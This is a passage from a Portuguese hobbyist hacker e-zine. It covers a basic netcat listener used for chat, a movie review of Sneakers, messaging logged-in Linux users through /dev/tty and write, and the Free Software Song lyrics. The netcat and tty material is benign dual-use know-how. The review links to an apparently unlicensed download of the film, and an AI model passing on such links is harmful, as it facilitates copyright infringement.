    os dados que são transferidos enquanto há conexão, e por fim vem o parâmetro -p seguido de 8989,
    isto fará com que o netcat abra uma porta de numeração 8989.

    OBS: Podemos unir os parâmetros ou usá-los de forma separada.
    Ex: nc -l -v -p 8989

    Na máquina cliente não há segredos para se conectar, podemos usar o netcat para este procedimento
    ou o próprio cliente telnet do sistema operacional.

    Conectaremos da seguinte forma:

    C:\> telnet IP.DO.SERVIDOR 8989
    (Ex: telnet 127.0.0.1 8989)

    O que ocorrerá após o cliente se conectar é o que se assemelha á um chat, ambos os usuários das
    duas máquinas poderão escrever no shell. Os caracteres que serão digitados são exibidos em tempo
    real na outra máquina.

               [5]========================================[+]
                 |           Filmes Hacku's     	  |
               [+]========================================[5]

                             Sneakers (1992)

      Este filme sem dúvida é um dos melhores que eu já vi do gênero. Encontrei possíveis
      referências que podem indicar que Dan Brown antes de escrever o livro "Fortaleza Digital"
      possa ter assistido este filme primeiro.
      Enfim, o filme conta a aventura de um grupo de hackers(?) que trabalham com identificação
      de vulnerabilidades em empresas. Conversa vai conversa vem, eles são contratados por uns
      caras que se dizem da NSA (National Security Agency, local onde eu trabalho ;), a missão
      deles é roubar um equipamento desenvolvido por um matemático que consegue quebrar qualquer
      criptografia (Obs, olha a ambiguidade aÊ, era o equipamento que quebra criptografia, não o
      matemático ok ?).

      O filme tem algumas doses de humor (mas não é comédia), e teve um roteiro muito bem escrito.
      Para saber mais sobre o filme, a melhor coisa seria baixando-o no link abaixo:

      http://www.fileswap.com/dl/9ZqXEs4dJ/Filme_-_Sneakers_%28_Quebra_de_Sigilo_1992_%29.rar.html

      Obs:  Na época em que eu tinha baixado esse filme, foi no finado Megaupload. Procurando na
            internet eu achei esse link torrent aí!
      Obs²: O filme ficou conhecido aqui no Brasil como "Quebra de sigilo" e está disponível
            no Netflix.

               [6]========================================[+]
                 | Enviando mensagens para users logados  |
               [+]========================================[6]

     Nesta dica mostrarei um truque aparentemente simples, mas interessante de
     se fazer em ambiente linux.
     Primeiramente teremos que ter conhecimento de que o Linux e outros Unixes
     são S.O's multiusuários, e cada usuário logado na máquina possui seu respectivo
     tty sendo utilizado. Estes tty's são pseudo-arquivos localizados no diretório /dev .

     Quando se é administrador da máquina em que se tem outros usuários logados no
     sistema, é possivel, em modo texto, enviar mensagens para os outros usuários. Quando
     eu disse "administrador da máquina", quis dizer de uma maneira mais bonitinha
     sobre ter que usar o usuário "Root" para realizar tal faceta.

     Let's Go !

     Com o comando 'w', visualizarei os users logados no sistema.

     root@LINUX:~# w
       12:21:36 up 46 min,  4 users,  load average: 0,53, 0,57, 0,54
     USER          TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
     b0b1m         tty1     -                11:59   20:29   0.85s  0.59s -bash
     b0b0_d4_c0rt3 tty7     :0               11:35    3:46m  1:19   0.06s /bin/sh /etc/xd
     b0b0_d4_c0rt3 pts/0    :0.0             12:19    1:09   0.56s  0.56s bash
     b0b0_d4_c0rt3 pts/1    :0.0             12:20    0.00s  0.80s  0.91s xfce4-terminal

    Para mandar uma mensagem para o usuário do tty1, o user 'b0b1m', farei o seguinte:

    root@LINUX:~# echo " O que você tá fazendo aqui? " > /dev/tty1

    Explicação:

      echo      = Comando para impressão de caracteres.
      " "       = O conteúdo entres aspas são o que será impresso pelo 'echo'.
      >         = Redirecionador de saída, que aponta para o caminho do tty1.
      /dev/tty1 = Caminho para o tty1, usado pelo usuário 'b0b1m'.

    Como resultado teremos no shell do 'b0b1m':

    b0b1m@LINUX:~$ O que você tá fazendo aqui?

    Para voltar ao bash, é só pressionar 'Enter'.

    Mas esta não é única forma de se mandar mensagens para outros usuários. Existem
    maneiras mais formais de se fazer isso sem gabiarras rs.

    Vamos usar o comando "write". Com ele a gente consegue escrever no tty de outros
    usuários. A sintaxe do comando é a seguinte:

                             write USUARIO [tty]

    O tty pode ser opcional, mas é legal especificar. Exemplo:

    root@Deadpool:~# write root tty1
    write: write: you have write permission turned off.
    Lucia nao faz a pessega!

    Após digitar a mensagem, é dar um Ctrl + D e a mensagem será enviada.

               [7]========================================[+]
                 |           Free Software song        	  |
               [+]========================================[7]

     Há pouco tempo, tive a oportunidade de ver o grande Richard Stallman em um evento
     de software livre. Comprei até um broche das mãos dele! rsrs

     Mas enfim, no final da palestra dele (com direito a explosões de raiva e palavrões),
     ele cantou uma música até então inédito aos meus ouvidos:

                     O HINO DO SOFTWARE LIVRE

                Join us now and share the software;
                You'll be free, hackers, you'll be free.
                Join us now and share the software;
                You'll be free, hackers, you'll be free.

                Hoarders can get piles of money,
                That is true, hackers, that is true.
                But they cannot help their neighbors;
                That's not good, hackers, that's not good.

                When we have enough free software
                At our call, hackers, at our call,
                We'll kick out those dirty licenses
                Ever more, hackers, ever more.

                Join us now and share the software;
                You'll be free, hackers, you'll be free.
                Join us now and share the software;
                You'll be free, hackers, you'll be free.

           http://www.gnu.org/music/free-software-song.html

     Admiro muito a filosofia do open source, não sou um militante do software livre ou algo
     assim, mas achei interessante a música. Link de um vídeo dele cantando a música:

           http://www.youtube.com/watch?v=1BH7poMtPVU

               [8]========================================[+]
                 |                  FIM         	  |
               [+]========================================[8]

     Espero que essa edição tenha superado a primeira e que tenha novas
     edições por um bom tempo. E é claro, que o conteúdo sempre evolua!
     Vou estudar mais aqui... e tentar escrever mais textos para a próxima
     edição.

     Telefone para contato: 415 723 9709
     Twitter: @B0b0_d4_c0rt3
     Email:   b0b0.d4.c0rt3@gmail.com
     Endereço: Rua dos b0b0s, n° 0

     Encerro por aqui.
     Cruji Cruji Cruji thau!

EOF